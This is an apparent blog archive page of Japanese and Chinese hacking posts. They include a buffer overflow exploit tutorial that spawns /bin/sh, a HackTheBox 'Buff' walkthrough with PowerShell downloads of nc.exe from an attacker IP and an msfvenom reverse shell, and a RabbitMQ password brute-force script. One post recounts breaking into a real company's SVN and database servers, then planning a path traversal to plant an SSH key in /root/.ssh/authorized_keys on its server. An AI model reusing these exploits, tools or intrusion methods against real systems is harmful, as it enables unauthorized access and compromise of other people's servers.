博文

目前显示的是 七月, 2020的博文

バッファオーバーフローテスト ー 1

图片
これが一番簡単なプログラムですが、コーディングが全然しない人に対する、理解が難しいです。 何の意味か、例えば、パソコンメモリーのサイズが4GB、超える場合はシステムがNGになる、なので、エラーが起こる。 一般的なエラーだったら、再起動すればいいです。もし、バッファオーバーフローのバッグは悪い人に利用されたら、危うくになる。 関連知識: プログラム知識 メモリー分配 GDBディバッグコマンド まず、下記のようなプログラムを用意します #include <stdio.h> void win() { system("/bin/sh"); } void main() { char buf[20]; gets(buf); } これから、利用のことを説明します。 上記のプログラムをコンパイルします。      gcc -fno-stack-protector -zexecstack -fno-stack-protector -no-pie -z norelro main.c -o main チェックして、メモリー保護を閉じました。 gdbでディバッグする gets は入力のメソッドです。入力の際は私たちが多くのデータを入力してみましょう。 僕が「AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL」を入力しました。 エラーが起こりました。これは重点なことではない、注意してください。 重点なことは、データは短くになりました。無くなったデータはメモリーに振り分けました。 オフセットを計算します。 オフセットは40です。 winのメソッドメモリーアドレスは 0x401132です。 OK、必

サブドメインを集める

HackTheBox - Buff

图片
nmapでスキャンしました、ポートは8080だけ、オープンしています ブラウザで8080ポートを開いて、ウェブサービスを実行しています 「Made Using Gym Management software 1.0」見ると、オープンソースシステムかもしれません。 searchsploitコマンドで調べて、やはり利用できます。 buff\shaun ユーザーを取得しました 関連ファイルをアップロードする powershell -command "& { iwr http://10.10.14.231:8000/plink.exe -OutFile C:\xampp\htdocs\gym\upload\plink.exe }" powershell -command "& { iwr http://10.10.14.231:8000/nc.exe -OutFile C:\xampp\htdocs\gym\upload\nc.exe }" ペイロードを生成して、プログラムを修正します 生成コマンド:  msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.231 LPORT=8644 -f c ポートをマッピングする この時、もうリモートサーバの8888ポートはローカルにマッピングされました。 ペイロードプログラムを実行する、 python 2.py リモートからadmin権限を取得しました

RabbitMQ の弱くパスワードをチェックするツール

Hydra ツールはRabbitMQのチェックがサポートできないので、自分でRabbitMQのAPIを参照して、書きました。 import sys,getopt,pika,optparse # #author shao # def connection(ip, port, username,password): credentials = pika.PlainCredentials(username, password) parameters = pika.ConnectionParameters(ip, port, '/', credentials) try: connection = pika.BlockingConnection(parameters) channel = connection.channel() connection.close() print("configuration! got password["+ password +"]") sys.exit(0) except: print("error password. ---------- [ " + password + " ] ") #channel.basic_publish(exchange='', routing_key='plugin_data', body='http://10.10.10.6:8000/test.lua') def loopWordlist(ip,port, username,passwordFile): try: file = open(passwordFile, mode="r", buffering=256, encoding="UTF-8"); words = file.readlines() for word in words: word = word.

某软件公司代码审计的案例

图片
前言 自从拿下某公司 SVN 服务器,数据库服务器好久了,【数据库】【部署应用】是分开部署的。奈何,数据库服务器并不能帮助提权。 不过相信有了代码,加上修改数据库的数据辅助,很大几率能拿下应用服务器。 分析项目环境 项目部署在【阿里云】,阿里云服务器具有阿里云盾,被它坑的不轻。 系统环境 Linux 使用语言 Java 应用环境 Spring-boot + Maven +Mysql+Redis 项目所有上传文件都是放在阿里云,七牛和腾讯云的OSS上。 项目分为前台用户和后台用户之分,由于某些原因,后台用户服务我并不能跑起来。 分析代码包层次结构 可以看到Controller是提供给外部的接口,我似乎就真的以为ueditor.controller可以直接利用 所以,这里Ueditor并不能直接被利用。 直到我找到了这个函数 为了确认这个函数变量100%确实可以自由构造,我又整理了Controll开始函数执行的顺序。     到这里,因为id是Integer对象类型,即使是null也会被加入处理成nullFileName.rar这样的形式。null还是会被加入。  我写了一个这样的程序。 3328 文件夹不存在于tmp路径 3329文件夹存在于tmp路径 执行后,404行报错。filePath2执行成功,绕过路径。 所以: linux jdk 中会检查文件夹是否真实存在。 所以,问题来了,我需要把那条数据id设置上,并且设置的id还要作为文件夹真实存在于系统中,只有这样,我才能绕过字符串中被加入 id 的这个路径 我翻找了linux系统文件夹构成 系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。 /proc/1是绝对存在的。所以我在数据库里把id改为1,构造文件名称 这样程序处理的时候就会变成 ../../../../proc/1/../../../../../root/.ssh/authorized_keys1 因为proc/1文件是真实存在于系统中,能被绕过。 从阿里云OSS下载我的公钥文件后,输出路径就变成了下面的路径。 /root/.ssh/